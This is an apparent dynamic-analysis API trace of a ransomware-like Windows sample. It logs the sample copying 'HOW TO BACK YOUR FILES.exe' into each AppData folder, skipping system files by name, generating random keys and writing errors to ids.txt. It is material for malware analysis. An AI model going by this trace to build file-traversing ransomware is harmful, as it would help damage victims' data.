	[0053.762] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.762] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.762] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x150
	[0053.765] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000
	[0053.766] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0053.767] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.767] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.767] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.767] CloseHandle (hObject=0x150) returned 1
	[0053.767] CloseHandle (hObject=0xc0) returned 1
	[0053.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.768] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e39ff30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.768] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.768] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e39ff30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.768] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0053.768] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0053.768] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0053.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0053.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0053.768] lstrlenW (lpString="C:\\Users\\Default\\Application Data") returned 33
	[0053.768] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0053.768] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.768] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.769] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.769] GetLastError () returned 0x0
	[0053.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.769] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.769] CloseHandle (hObject=0x14c) returned 1
	[0053.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.769] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.769] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e39ff30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0053.769] GetLastError () returned 0x5
	[0053.769] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Application Data\\* FindFirstFile error 5\r\n") returned 67
	[0053.769] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Application Data\\* FindFirstFile error 5\r\n") returned 67
	[0053.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.770] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23d1
	[0053.770] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x43, lpOverlapped=0x0) returned 1
	[0053.770] CloseHandle (hObject=0x14c) returned 1
	[0053.770] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0053.770] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0053.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca350 | out: hHeap=0x580000) returned 1
	[0053.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0053.770] lstrlenW (lpString="C:\\Users\\Default\\AppData") returned 24
	[0053.770] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0053.770] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.770] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.771] GetLastError () returned 0x0
	[0053.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.771] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.771] CloseHandle (hObject=0x14c) returned 1
	[0053.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.771] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.771] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.771] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.771] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.771] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.771] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.771] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.771] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.771] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.771] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.771] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3c6090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.771] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.771] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e627690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e627690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2="Apollon865.txt.exe") returned 1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2=".") returned 1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2="..") returned 1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2="windows") returned -1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2="bootmgr") returned 1
	[0053.771] lstrcmpiW (lpString1="Local", lpString2="temp") returned -1
	[0053.772] lstrcmpiW (lpString1="Local", lpString2="pagefile.sys") returned -1
	[0053.772] lstrcmpiW (lpString1="Local", lpString2="boot") returned 1
	[0053.772] lstrcmpiW (lpString1="Local", lpString2="ids.txt") returned 1
	[0053.772] lstrcmpiW (lpString1="Local", lpString2="ntuser.dat") returned -1
	[0053.772] lstrcmpiW (lpString1="Local", lpString2="perflogs") returned -1
	[0053.772] lstrcmpiW (lpString1="Local", lpString2="MSBuild") returned -1
	[0053.772] lstrlenW (lpString="Local") returned 5
	[0053.772] lstrlenW (lpString="C:\\Users\\Default\\AppData\\*") returned 26
	[0053.772] lstrcpyW (in: lpString1=0x119e63a, lpString2="Local" | out: lpString1="Local") returned="Local"
	[0053.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0053.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3e) returned 0x5b5f20
	[0053.772] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0053.772] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="Apollon865.txt.exe") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2=".") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="..") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="windows") returned -1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="bootmgr") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="temp") returned -1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="pagefile.sys") returned -1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="boot") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="ids.txt") returned 1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="ntuser.dat") returned -1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="perflogs") returned -1
	[0053.772] lstrcmpiW (lpString1="LocalLow", lpString2="MSBuild") returned -1
	[0053.772] lstrlenW (lpString="LocalLow") returned 8
	[0053.772] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local") returned 30
	[0053.772] lstrcpyW (in: lpString1=0x119e63a, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow"
	[0053.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0053.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdca8
	[0053.772] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0053.772] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="Apollon865.txt.exe") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2=".") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="..") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="windows") returned -1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="bootmgr") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="temp") returned -1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="pagefile.sys") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="boot") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="ids.txt") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="ntuser.dat") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="perflogs") returned 1
	[0053.773] lstrcmpiW (lpString1="Roaming", lpString2="MSBuild") returned 1
	[0053.773] lstrlenW (lpString="Roaming") returned 7
	[0053.773] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow") returned 33
	[0053.773] lstrcpyW (in: lpString1=0x119e63a, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming"
	[0053.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0053.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdf78
	[0053.773] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0053.773] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0
	[0053.773] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.773] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0053.773] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming"
	[0053.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0053.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0053.773] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming") returned 32
	[0053.773] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming"
	[0053.773] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.773] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.774] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.774] GetLastError () returned 0x0
	[0053.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.774] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.774] CloseHandle (hObject=0x14c) returned 1
	[0053.775] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.775] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.775] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.775] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.775] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.775] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.775] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e39ff30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.775] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.775] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.775] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.775] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.775] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e39ff30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e39ff30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.775] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.775] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="Apollon865.txt.exe") returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2=".") returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="..") returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="windows") returned -1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="bootmgr") returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="temp") returned -1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="pagefile.sys") returned -1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="boot") returned 1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="ids.txt") returned -1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="ntuser.dat") returned -1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="perflogs") returned -1
	[0053.775] lstrcmpiW (lpString1="Identities", lpString2="MSBuild") returned -1
	[0053.775] lstrlenW (lpString="Identities") returned 10
	[0053.775] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\*") returned 34
	[0053.776] lstrcpyW (in: lpString1=0x119e64a, lpString2="Identities" | out: lpString1="Identities") returned="Identities"
	[0053.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0053.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598408
	[0053.776] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
